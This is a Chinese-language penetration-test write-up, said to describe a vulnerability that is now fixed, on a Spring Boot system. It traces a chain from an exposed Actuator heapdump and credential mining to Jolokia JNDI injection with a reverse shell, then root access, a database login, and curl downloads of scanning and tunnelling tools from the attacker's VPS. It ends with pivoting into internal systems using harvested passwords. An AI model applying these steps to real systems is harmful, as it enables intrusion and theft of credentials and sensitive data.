目前该漏洞已完全修复,这里做一个复盘,总结下整体利用过程
heapdump信息泄露-弱口令-RCE-数据库-后台弱口令-内网系统弱口令-敏感信息挖掘
Springboot搭建的系统,首先访问Actuator模块,看有哪些端点暴露,最常见的就是env、info、metrics等等,最喜人乐见的就是heapdump、gateway、jolokia等,前者可能导致轻微信息泄露、而后者可能导致敏感信息泄露乃至RCE进内网。
这里需要注意的是,访问Springboot的系统,有时候URL后边直接加actuator提示404并不代表端点没有暴露,可能是文件目录导致的,就比如这次渗透的目标站点就是如此:https://target.com:8090/xxx/actuator/
访问actuator,查看暴露的端点,发现heapdump文件,直接下载下来打开即可。这里打开heapdump转储文件,打开heapdump的方式有多种,MAT、JDumpSpider-1.0-SNAPSHOT-full.jar、heapdump_tool.jar等等,GitHub也有其它的打开工具,往往一种工具查出来的信息不完整,比如直接用JDumpSpider-1.0-SNAPSHOT-full.jar跑出来的结果可能不全,但是跑出的结果很清晰、heapdump_tool.jar跑出来的结果更全一些,但是结果展示不是很清晰。建议都跑一遍,确保收集信息的广度,这个后边会继续提到
使用JDumpSpider只跑出来了本地数据库账号口令(为后边拿下内网数据库做了铺垫)
继续用heapdump_tool.jar在跑一下
等数据加载完之后,输入关键字进行关键字查询:password、geturl、getfile等,直接输入password搜索password字样
将收集到的密码做成字典,后期可以做爆破口令用,成功登陆外网druid
目标不止有heapdump、还有jolokia端点,jolokia存在RCE漏洞,但是有利用条件(目标JDK版本、是否存在端点以及引用了jolokia-core依赖等):直接访问/jolokia/list查看有无type=MBeanFactory 和 createJNDIRealm参数可判断是否可能RCE,jolokia/list下存在这两个参数,尝试进行jndi注入(GitHub有诸多jndi工具以及利用详情)
目标有接收请求,貌似也请求了VPS上的class文件,但是反弹shell没反应。大概率是目标主机jdk版本过高导致反弹shell失败,尝试进行高版本jdk进行jndi注入。
提取准备好base64编码之后的反弹shell语句
启动jndi工具
这里使用py工具发送payload:
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py
py文件url以及payload修改成jndi工具生成的恶意payload,运行py
反弹shell成功,反弹回来的shell很多命令没法用,目标主机存在python环境,使用ptyshell实现简单的tty
python -c 'import pty; pty.spawn("/bin/bash")'
目标主机ubuntu,sudo su切换到root用户
❝heapdump泄露的数据库账号密码尝试登陆数据库
❞
查找用户名口令:
MD5加密的管理员密码,尝试解密:
由于heapdump在管理系统目录下:xxx/actuator/heapdump,猜测密码大概率是后台管理系统密码
口令登陆成功:涉及信息过于敏感,暂时不放图了
VPS开启python服务,目标主机cd到tmp目录下:
curl -O http://xxx:8888/kscan
将kscan与npc端下载到目标主机tmp目录下
运行NPC端:
主机成功上线:
proxifier设置socks5代理尝试连接:
proxifier添加firefox规则后,根据kscan扫描出的结果尝试访问web服务:
弱口令*1
尝试使用数据库中存储的密码挨个进行登陆~
查找系统中propertie配置文件,获取多个appkey和secret信息
较为敏感的信息就不在放出了
主要高版本jdk的jndi注入以及信息收集(收集密码做字典定向爆破)的结果,才使得进入内网之后可以拿下多个后台管理系统,从而获取大量敏感信息。